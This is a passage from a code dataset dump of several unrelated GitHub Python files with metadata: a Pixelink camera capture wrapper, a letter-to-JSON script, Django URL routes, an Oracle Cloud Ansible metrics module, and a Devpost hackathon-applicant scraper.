2022\n\"\"\"\nClass which wraps the routines in pixelinkWrapper API. Use this class for\nimage acquisition, to set the exposure, to save images, etc.\n\"\"\"\n\nimport os\nimport numpy as np\nimport cv2 as cv\nfrom pixelinkWrapper import PxLApi\nfrom ctypes import create_string_buffer\n\nSUCCESS = 0\nFAILURE = 1\n\nclass pixelink_class:\n def __init__(self):\n self.hCamera = None #camera object\n \n #Image formats for Pixelink\n self.image_formats = {'jpg':PxLApi.ImageFormat.JPEG, 'bmp':PxLApi.ImageFormat.BMP,\n 'tiff':PxLApi.ImageFormat.TIFF, 'psd':PxLApi.ImageFormat.PSD,\n 'rgb24.bin':PxLApi.ImageFormat.RAW_BGR24, 'rgb24nondib.bin':PxLApi.ImageFormat.RAW_BGR24_NON_DIB,\n 'rgb48.bin':PxLApi.ImageFormat.RAW_RGB48, 'mono8.bin':PxLApi.ImageFormat.RAW_MONO8}\n return None\n \n def init_camera(self):\n # Tell the camera we want to start using it.\n \t# NOTE: We're assuming there's only one camera.\n ret = PxLApi.initialize(0)\n if not PxLApi.apiSuccess(ret[0]): #Failure\n return False\n self.hCamera = ret[1]\n return True\n \n def done_camera(self):\n # Tell the camera we're done with it.\n PxLApi.uninitialize(self.hCamera)\n return True\n \n def set_exposure(self, exp_time):\n \"\"\"\n Set the exposure in seconds\n \"\"\"\n set_exposure(self.hCamera, exp_time)\n \n def get_snapshot_bytes(self, image_suffix):\n if image_suffix not in self.image_formats.keys():\n raise ValueError(\"Image suffix {} not supported\".format(image_suffix))\n imageFormat = self.image_formats[image_suffix] #get the Pixelink ImageFormat corresponding to image_suffix\n \n return get_snapshot_bytes(self.hCamera, imageFormat)\n\n def get_snapshot_np_array(self, image_suffix):\n \"\"\"\n INPUT:\n ::str:: image_suffix #the encoding for the image (e.g. jpg, tiff)\n OUTPUT:\n ::np.ndarray:: decoded\n \"\"\"\n formatedImage = self.get_snapshot_bytes(image_suffix)\n #######################################################################\n #formatedImage is a ctypes.char_Array_29594\n #We need to turn it to a np.ndarray\n #https://stackoverflow.com/questions/49511753/python-byte-image-to-numpy-array-using-opencv\n arr = np.frombuffer(formatedImage, np.uint8) \n decoded = cv.imdecode(arr, cv.IMREAD_GRAYSCALE)\n #######################################################################\n return decoded\n \n def get_snapshot_and_save(self, image_suffix, filename):\n global SUCCESS\n \n #Check that the filename extension is consistent with image_suffix\n if os.path.basename(filename).split('.')[-1] != image_suffix:\n raise ValueError(\"filename extension does not match image_suffix\")\n\n formatedImage = self.get_snapshot_bytes(image_suffix)\n r = save_image_to_file(filename, formatedImage)\n if r == SUCCESS:\n return True\n else:\n return False\n\n#######################################################################################\n#######################################################################################\n \n\ndef get_snapshot_bytes(hCamera, imageFormat):\n \"\"\"\n Get a snapshot from the camera, and return a np.ndarray\n \"\"\"\n global SUCCESS\n global FAILURE\n \n assert 0 != hCamera\n \n # Determine the size of buffer we'll need to hold an image from the camera\n import time\n #st = time.time()\n rawImageSize = determine_raw_image_size(hCamera)\n if 0 == rawImageSize:\n return FAILURE\n #et = time.time()\n #print(\"Getting image size took {} seconds\".format(et-st))\n\n #st = time.time()\n # Create a buffer to hold the raw image\n rawImage = create_string_buffer(rawImageSize)\n #et = time.time()\n #print(\"Buffer creation took {} seconds\".format(et-st))\n\n if 0 != len(rawImage):\n # Capture a raw image. The raw image buffer will contain image data on success. \n \n st = time.time()\n ret = get_raw_image(hCamera, rawImage)\n et = time.time()\n print(\"get_raw_image took {} seconds\".format(et-st))\n \n if PxLApi.apiSuccess(ret[0]):\n frameDescriptor = ret[1]\n \n assert 0 != len(rawImage)\n assert frameDescriptor\n #\n # Do any image processing here\n #\n \n #st = time.time()\n # Encode the raw image into something displayable\n ret = PxLApi.formatImage(rawImage, frameDescriptor, imageFormat)\n #et = time.time()\n #print(\"formatImage took {} seconds\".format(et-st))\n if SUCCESS == ret[0]:\n formatedImage = ret[1]\n \n return formatedImage \n return FAILURE\n\ndef determine_raw_image_size(hCamera):\n \"\"\"\n Query the camera for region of interest (ROI), decimation, and pixel format\n Using this information, we can calculate the size of a raw image\n Returns 0 on failure\n \"\"\"\n assert 0 != hCamera\n\n # Get region of interest (ROI)\n ret = PxLApi.getFeature(hCamera, PxLApi.FeatureId.ROI)\n params = ret[2]\n roiWidth = params[PxLApi.RoiParams.WIDTH]\n roiHeight = params[PxLApi.RoiParams.HEIGHT]\n\n # Query pixel addressing\n # assume no pixel addressing (in case it is not supported)\n pixelAddressingValueX = 1\n pixelAddressingValueY = 1\n\n ret = PxLApi.getFeature(hCamera, PxLApi.FeatureId.PIXEL_ADDRESSING)\n if PxLApi.apiSuccess(ret[0]):\n params = ret[2]\n if PxLApi.PixelAddressingParams.NUM_PARAMS == len(params):\n # Camera supports symmetric and asymmetric pixel addressing\n pixelAddressingValueX = params[PxLApi.PixelAddressingParams.X_VALUE]\n pixelAddressingValueY = params[PxLApi.PixelAddressingParams.Y_VALUE]\n else:\n # Camera supports only symmetric pixel addressing\n pixelAddressingValueX = params[PxLApi.PixelAddressingParams.VALUE]\n pixelAddressingValueY = params[PxLApi.PixelAddressingParams.VALUE]\n\n # We can calulate the number of pixels now.\n numPixels = (roiWidth / pixelAddressingValueX) * (roiHeight / pixelAddressingValueY)\n ret = PxLApi.getFeature(hCamera, PxLApi.FeatureId.PIXEL_FORMAT)\n\n # Knowing pixel format means we can determine how many bytes per pixel.\n params = ret[2]\n pixelFormat = int(params[0])\n\n # And now the size of the frame\n pixelSize = PxLApi.getBytesPerPixel(pixelFormat)\n\n return int(numPixels * pixelSize)\n\n\ndef get_raw_image(hCamera, rawImage):\n \"\"\"\n Capture an image from the camera.\n \n NOTE: PxLApi.getNextFrame is a blocking call. \n i.e. PxLApi.getNextFrame won't return until an image is captured.\n So, if you're using hardware triggering, it won't return until the camera is triggered.\n Returns a return code with success and frame descriptor information or API error\n \"\"\"\n global FAILURE\n \n assert 0 != hCamera\n assert 0 != len(rawImage)\n\n MAX_NUM_TRIES = 4\n\n # Put camera into streaming state so we can capture an image\n ret = PxLApi.setStreamState(hCamera, PxLApi.StreamState.START)\n if not PxLApi.apiSuccess(ret[0]):\n return FAILURE\n \n # Get an image\n # NOTE: PxLApi.getNextFrame can return ApiCameraTimeoutError on occasion.\n # How you handle this depends on your situation and how you use your camera. \n # For this sample app, we'll just retry a few times.\n ret = (PxLApi.ReturnCode.ApiUnknownError,)\n\n for i in range(MAX_NUM_TRIES):\n ret = PxLApi.getNextFrame(hCamera, rawImage)\n if PxLApi.apiSuccess(ret[0]):\n break\n\n # Done capturing, so no longer need the camera streaming images.\n # Note: If ret is used for this call, it will lose frame descriptor information.\n PxLApi.setStreamState(hCamera, PxLApi.StreamState.STOP)\n\n return ret\n\n\ndef save_image_to_file(fileName, formatedImage):\n \"\"\"\n Save the encoded image buffer to a file\n This overwrites any existing file\n Returns SUCCESS or FAILURE\n \"\"\"\n #THIS FUNCTION HAS BEEN MODIFIED TO SAVE THE IMAGE IN ANY fileName\n \n global SUCCESS\n global FAILURE\n \n assert fileName\n assert 0 != len(formatedImage)\n\n filepath = fileName\n # Open a file for binary write\n file = open(filepath, \"wb\")\n if None == file:\n return FAILURE\n numBytesWritten = file.write(formatedImage)\n file.close()\n\n if numBytesWritten == len(formatedImage):\n return SUCCESS\n\n return FAILURE\n\n#######################################################################################\n#######################################################################################\n \n# Not sure what it is for\ndef api_range_error(rc):\n return rc == PxLApi.ReturnCode.ApiInvalidParameterError or rc == PxLApi.ReturnCode.ApiOutOfRangeError\n\ndef set_exposure(hCamera, val):\n \"\"\"\n Set the exposure in seconds\n \"\"\"\n ret = PxLApi.getFeature(hCamera, PxLApi.FeatureId.EXPOSURE)\n if not(PxLApi.apiSuccess(ret[0])):\n print(\"!! Attempt to get exposure returned %i!\" % ret[0])\n return\n \n params = ret[2]\n params[0] = val\n\n ret = PxLApi.setFeature(hCamera, PxLApi.FeatureId.EXPOSURE, PxLApi.FeatureFlags.MANUAL, params)\n if (not PxLApi.apiSuccess(ret[0])) and (not api_range_error(ret[0])):\n print(\"!! Attempt to set exposure returned %i!\" % ret[0])\n \n", "repo_name": "mattleung10/G-CLEF_Fiber_Lab", "sub_path": "Pixelink_Interface/pixelink_class.py", "file_name": "pixelink_class.py", "file_ext": "py", "file_size_in_byte": 9687, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pixelinkWrapper.PxLApi.ImageFormat", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 22, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.ImageFormat", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 23, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.ImageFormat", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 24, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.ImageFormat", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 25, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.initialize", "line_number": 31, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 31, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.apiSuccess", "line_number": 32, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 32, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.uninitialize", "line_number": 39, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 39, "usage_type": "name"}, {"api_name": "numpy.frombuffer", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 67, "usage_type": "attribute"}, {"api_name": "cv2.imdecode", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.IMREAD_GRAYSCALE", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "ctypes.create_string_buffer", "line_number": 110, "usage_type": "call"}, {"api_name": "time.time", "line_number": 117, "usage_type": "call"}, {"api_name": "time.time", "line_number": 119, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi.apiSuccess", "line_number": 122, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 122, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.formatImage", "line_number": 133, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 133, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.getFeature", "line_number": 151, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 151, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.FeatureId", "line_number": 151, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi.RoiParams", "line_number": 153, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 153, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.RoiParams", "line_number": 154, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 154, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.getFeature", "line_number": 161, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 161, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.FeatureId", "line_number": 161, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi.apiSuccess", "line_number": 162, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 162, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.PixelAddressingParams", "line_number": 164, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 164, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.PixelAddressingParams", "line_number": 166, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 166, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.PixelAddressingParams", "line_number": 167, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 167, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.PixelAddressingParams", "line_number": 170, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 170, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.PixelAddressingParams", "line_number": 171, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 171, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.getFeature", "line_number": 175, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 175, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.FeatureId", "line_number": 175, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi.getBytesPerPixel", "line_number": 182, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 182, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.setStreamState", "line_number": 204, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 204, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.StreamState", "line_number": 204, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi.apiSuccess", "line_number": 205, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 205, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.ReturnCode", "line_number": 212, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 212, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.getNextFrame", "line_number": 215, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 215, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.apiSuccess", "line_number": 216, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 216, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.setStreamState", "line_number": 221, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 221, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.StreamState", "line_number": 221, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi.ReturnCode", "line_number": 258, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 258, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.getFeature", "line_number": 264, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 264, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.FeatureId", "line_number": 264, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi.apiSuccess", "line_number": 265, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 265, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.setFeature", "line_number": 272, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 272, "usage_type": "name"}, {"api_name": "pixelinkWrapper.PxLApi.FeatureId", "line_number": 272, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi.FeatureFlags", "line_number": 272, "usage_type": "attribute"}, {"api_name": "pixelinkWrapper.PxLApi.apiSuccess", "line_number": 273, "usage_type": "call"}, {"api_name": "pixelinkWrapper.PxLApi", "line_number": 273, "usage_type": "name"}]} {"seq_id": "13151422583", "text": "### trying to store the letters in a dict where key: letter number and value: the full letter\n\n\n### first, load the names and descriptions\ndef json_loader(filename):\n import json\n with open(filename) as file_object:\n return json.load(file_object)\n\ndescs_json = 'descriptions.json'\nlinks_json = 'links.json'\nnames_json = 'names.json'\n\ndescriptions = json_loader(descs_json)\nnames = json_loader(names_json)\nlinks = json_loader(links_json)\n\nfor x in names:\n print(x)\n\nlen(names)\nlen(descriptions)\nlen(links)\n\nnames_and_descriptions = []\nfor i in range(0, len(names)):\n if descriptions[i] == \"\\n\":\n # print(names[i].strip() + \" \" + names[i].strip())\n names_and_descriptions.append(names[i].strip() + \" \" + descriptions[i].strip())\n else:\n # print(names[i].strip() + \" \" + descriptions[i].strip())\n names_and_descriptions.append(names[i].strip() + \" \" + descriptions[i].strip())\n\nfor nd in names_and_descriptions:\n print(nd)\n\ntest_dictionary = {}\nfor i in range(0, 31):\n nd = names_and_descriptions[i]\n filename = f\"all_letters/{nd}.txt\"\n with open(filename, 'r') as fo:\n text = fo.read()\n # print(text)\n test_dictionary[i] = text\n\n\nprint(test_dictionary[1])\ntest_dictionary\ntest_dictionary[int(\"1\")]\n\ntest_dictionary.keys()\n\nfn = \"practice/test_dict.json\"\nimport json\nwith open (fn, 'w') as fo:\n json.dump(test_dictionary, fo)", "repo_name": "Raihan9797/Web-Scraping-Practice", "sub_path": "practice/storing_data_into_dict.py", "file_name": "storing_data_into_dict.py", "file_ext": "py", "file_size_in_byte": 1408, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.load", "line_number": 8, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 56, "usage_type": "call"}]} {"seq_id": "25109944017", "text": "from django.conf.urls import patterns, include, url\n\n# Uncomment the next two lines to enable the admin:\n# from django.contrib import admin\n# admin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'graph_query_api.views.home', name='home'),\n # url(r'^graph_query_api/', include('graph_query_api.foo.urls')),\n # url(r'^graph_query/',include('nlquery.urls')),\n # url(r'^graph_viz/',include('vizquery.urls')),\n url(r'^graph/',include('graph.urls')),\n url(r'^raquel/',include('raquel.urls')),\n url(r'^planit',include('planit.urls')),\n url(r'^e2eFeedback',include('e2efeedback.urls')),\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n # url(r'^admin/', include(admin.site.urls)),\n)\n", "repo_name": "RoboBrainCode/graph_query_api", "sub_path": "graph_query_api/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 873, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.conf.urls.patterns", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 15, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 16, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 16, "usage_type": "call"}]} {"seq_id": "42514254929", "text": "from __future__ import absolute_import, division, print_function\n\n__metaclass__ = type\n\nANSIBLE_METADATA = {\n \"metadata_version\": \"1.1\",\n \"status\": [\"preview\"],\n \"supported_by\": \"community\",\n}\n\nDOCUMENTATION = \"\"\"\n---\nmodule: oci_cloud_bridge_historical_metric_actions\nshort_description: Perform actions on a HistoricalMetric resource in Oracle Cloud Infrastructure\ndescription:\n - Perform actions on a HistoricalMetric resource in Oracle Cloud Infrastructure\n - For I(action=submit), creates or updates all metrics related to the asset.\nversion_added: \"2.9.0\"\nauthor: Oracle (@oracle)\noptions:\n historical_metrics:\n description:\n - List of asset historical metrics.\n type: list\n elements: dict\n required: true\n suboptions:\n name:\n description:\n - Metric name.\n type: str\n required: true\n aggregation:\n description:\n - Aggregation time interval.\n type: str\n required: true\n value:\n description:\n - Aggregation value.\n type: float\n required: true\n asset_id:\n description:\n - Unique asset identifier.\n type: str\n aliases: [\"id\"]\n required: true\n action:\n description:\n - The action to perform on the HistoricalMetric.\n type: str\n required: true\n choices:\n - \"submit\"\nextends_documentation_fragment: [ oracle.oci.oracle ]\n\"\"\"\n\nEXAMPLES = \"\"\"\n- name: Perform action submit on historical_metric\n oci_cloud_bridge_historical_metric_actions:\n # required\n historical_metrics:\n - # required\n name: name_example\n aggregation: aggregation_example\n value: 3.4\n asset_id: \"ocid1.asset.oc1..xxxxxxEXAMPLExxxxxx\"\n action: submit\n\n\"\"\"\n\nRETURN = \"\"\"\nhistorical_metric_collection:\n description:\n - Details of the HistoricalMetric resource acted upon by the current operation\n returned: on success\n type: complex\n contains:\n name:\n description:\n - Metric name.\n returned: on success\n type: str\n sample: name_example\n aggregation:\n description:\n - Aggregation time interval.\n returned: on success\n type: str\n sample: aggregation_example\n value:\n description:\n - Aggregation value.\n returned: on success\n type: float\n sample: 3.4\n time_created:\n description:\n - The time the HistoricalMetric was created. An RFC3339 formatted datetime string.\n returned: on success\n type: str\n sample: \"2013-10-20T19:20:30+01:00\"\n time_updated:\n description:\n - The time the HistoricalMetric was updated. An RFC3339 formatted datetime string.\n returned: on success\n type: str\n sample: \"2013-10-20T19:20:30+01:00\"\n sample: {\n \"name\": \"name_example\",\n \"aggregation\": \"aggregation_example\",\n \"value\": 3.4,\n \"time_created\": \"2013-10-20T19:20:30+01:00\",\n \"time_updated\": \"2013-10-20T19:20:30+01:00\"\n }\n\"\"\"\n\nfrom ansible_collections.oracle.oci.plugins.module_utils import (\n oci_common_utils,\n oci_wait_utils,\n)\nfrom ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils import (\n OCIActionsHelperBase,\n OCIAnsibleModule,\n get_custom_class,\n)\n\ntry:\n from oci.cloud_bridge import InventoryClient\n from oci.cloud_bridge.models import SubmitHistoricalMetricsDetails\n\n HAS_OCI_PY_SDK = True\nexcept ImportError:\n HAS_OCI_PY_SDK = False\n\n\nclass HistoricalMetricActionsHelperGen(OCIActionsHelperBase):\n \"\"\"\n Supported actions:\n submit\n \"\"\"\n\n @staticmethod\n def get_module_resource_id_param():\n return \"asset_id\"\n\n def get_module_resource_id(self):\n return self.module.params.get(\"asset_id\")\n\n def submit(self):\n action_details = oci_common_utils.convert_input_data_to_model_class(\n self.module.params, SubmitHistoricalMetricsDetails\n )\n return oci_wait_utils.call_and_wait(\n call_fn=self.client.submit_historical_metrics,\n call_fn_args=(),\n call_fn_kwargs=dict(\n submit_historical_metrics_details=action_details,\n asset_id=self.module.params.get(\"asset_id\"),\n ),\n waiter_type=oci_wait_utils.NONE_WAITER_KEY,\n operation=\"{0}_{1}\".format(\n self.module.params.get(\"action\").upper(),\n oci_common_utils.ACTION_OPERATION_KEY,\n ),\n waiter_client=self.get_waiter_client(),\n resource_helper=self,\n wait_for_states=self.get_action_desired_states(\n self.module.params.get(\"action\")\n ),\n )\n\n\nHistoricalMetricActionsHelperCustom = get_custom_class(\n \"HistoricalMetricActionsHelperCustom\"\n)\n\n\nclass ResourceHelper(\n HistoricalMetricActionsHelperCustom, HistoricalMetricActionsHelperGen\n):\n pass\n\n\ndef main():\n module_args = oci_common_utils.get_common_arg_spec(\n supports_create=False, supports_wait=False\n )\n module_args.update(\n dict(\n historical_metrics=dict(\n type=\"list\",\n elements=\"dict\",\n required=True,\n options=dict(\n name=dict(type=\"str\", required=True),\n aggregation=dict(type=\"str\", required=True),\n value=dict(type=\"float\", required=True),\n ),\n ),\n asset_id=dict(aliases=[\"id\"], type=\"str\", required=True),\n action=dict(type=\"str\", required=True, choices=[\"submit\"]),\n )\n )\n\n module = OCIAnsibleModule(argument_spec=module_args, supports_check_mode=True)\n\n if not HAS_OCI_PY_SDK:\n module.fail_json(msg=\"oci python sdk required for this module.\")\n\n resource_helper = ResourceHelper(\n module=module,\n resource_type=\"historical_metric\",\n service_client_class=InventoryClient,\n namespace=\"cloud_bridge\",\n )\n\n result = resource_helper.perform_action(module.params.get(\"action\"))\n\n module.exit_json(**result)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "oracle/oci-ansible-collection", "sub_path": "plugins/modules/oci_cloud_bridge_historical_metric_actions.py", "file_name": "oci_cloud_bridge_historical_metric_actions.py", "file_ext": "py", "file_size_in_byte": 6488, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 151, "dataset": "github-code", "pt": "78", "api": [{"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils.OCIActionsHelperBase", "line_number": 138, "usage_type": "name"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_common_utils.convert_input_data_to_model_class", "line_number": 152, "usage_type": "call"}, {"api_name": "oci.cloud_bridge.models.SubmitHistoricalMetricsDetails", "line_number": 153, "usage_type": "argument"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_common_utils", "line_number": 152, "usage_type": "name"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_wait_utils.call_and_wait", "line_number": 155, "usage_type": "call"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_wait_utils", "line_number": 155, "usage_type": "name"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_wait_utils.NONE_WAITER_KEY", "line_number": 162, "usage_type": "attribute"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_wait_utils", "line_number": 162, "usage_type": "name"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_common_utils.ACTION_OPERATION_KEY", "line_number": 165, "usage_type": "attribute"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_common_utils", "line_number": 165, "usage_type": "name"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils.get_custom_class", "line_number": 175, "usage_type": "call"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_common_utils.get_common_arg_spec", "line_number": 187, "usage_type": "call"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_common_utils", "line_number": 187, "usage_type": "name"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils.OCIAnsibleModule", "line_number": 207, "usage_type": "call"}, {"api_name": "oci.cloud_bridge.InventoryClient", "line_number": 215, "usage_type": "name"}]} {"seq_id": "7815280437", "text": "import requests\nfrom bs4 import BeautifulSoup\nimport csv\n\nuser_pre = 'https://devpost.com/' # url prefix for devpost username\nproj_pre = 'https://devpost.com/software/' # url prefix for devpost project id\nin_file = 'apps.csv' # csv file of applicant devpost usernames\nout_file = 'scraped.csv' # csv file to write scraped data to\n\n# returns user data as dictionary object:\n# 'proj_num' is the number of projects posted\n# 'hack_num' is the number of hackathons attended\n# 'projects' is a list of devpost project ids\ndef user_data(user):\n soup_page = BeautifulSoup(requests.get(user_pre + user).content, 'html.parser')\n totals = soup_page.find_all('span', attrs={'class' : 'totals'})\n projects = soup_page.find_all('', attrs={'class' : 'gallery-item'})\n return {\n 'proj_num' : int(totals[0].text),\n 'hack_num' : int(totals[1].text),\n 'projects' : [project['data-software-id'] for project in projects]\n }\n\n# returns project data as dictionary object:\n# 'event' is the name of the event submitted to\n# 'event_url' is the url of the event submitted to\n# 'awards' is a list of awards won\n# 'like' is the number of likes the project recieved\n# error if the project has not been submitted to a hackathon\ndef proj_data(proj_id):\n soup_page = BeautifulSoup(requests.get(proj_pre + proj_id).content, 'html.parser')\n data = soup_page.find('div', attrs={'class' : 'software-list-content'})\n return {\n 'event' : data.find('a').text,\n 'event_url' : data.find('a')['href'],\n 'awards' : [proj.contents[2].strip() for proj in data.find_all('li')],\n 'like' : int(soup_page.find('span', attrs={'class' : 'side-count'}).text)\n }\n\n# returns number of participants at an event given the devpost url\ndef event_partic(event_url):\n soup_page = BeautifulSoup(requests.get(event_url + \"participants\").content, 'html.parser')\n event_data = soup_page.find('div', attrs={'id' : 'participants'})\n return int(event_data.findChildren()[0].text.split()[0])\n\n# returns number of submissions at an event given the devpost url\ndef event_submits(event_url):\n soup_page = BeautifulSoup(requests.get(event_url + \"submissions\").content, 'html.parser')\n event_data = soup_page.find('span', attrs={'class' : 'items_info'})\n return int(event_data.findChildren()[0].findChildren()[1].text)\n\n# returns devpost user summary as list:\n# [username, proj_num, hack_num, event, event_size, awards_won, likes]\n# (event, event_size, awards_won, likes) is a repeating sequence, with exactly proj_num reps\n# awards_won is a comma-separated list of awards\ndef user_summary(user):\n res = [user]\n data = user_data(user)\n res.append(data['proj_num'])\n res.append(data['hack_num'])\n\n for proj_id in data['projects']:\n try:\n data = proj_data(proj_id)\n except:\n res[1] -= 1\n continue\n event_size = event_submits(data['event_url'])\n awards_won = ','.join(map(str, data['awards']))\n res.extend([data['event'], event_size, awards_won, data['like']])\n\n return res\n\n# scrape applicant data\nwith open(in_file, 'r') as f:\n reader = csv.reader(f)\n user_apps = list(reader)\nwith open(out_file, 'w') as f:\n writer = csv.writer(f)\n for user in user_apps:\n writer.writerow(user_summary(user[0]))", "repo_name": "marsalad/hackathonGrader", "sub_path": "hackathonGrader.py", "file_name": "hackathonGrader.py", "file_ext": "py", "file_size_in_byte": 3398, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "bs4.BeautifulSoup", "line_number": 15, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 15, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 31, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 31, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 42, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 42, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 48, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 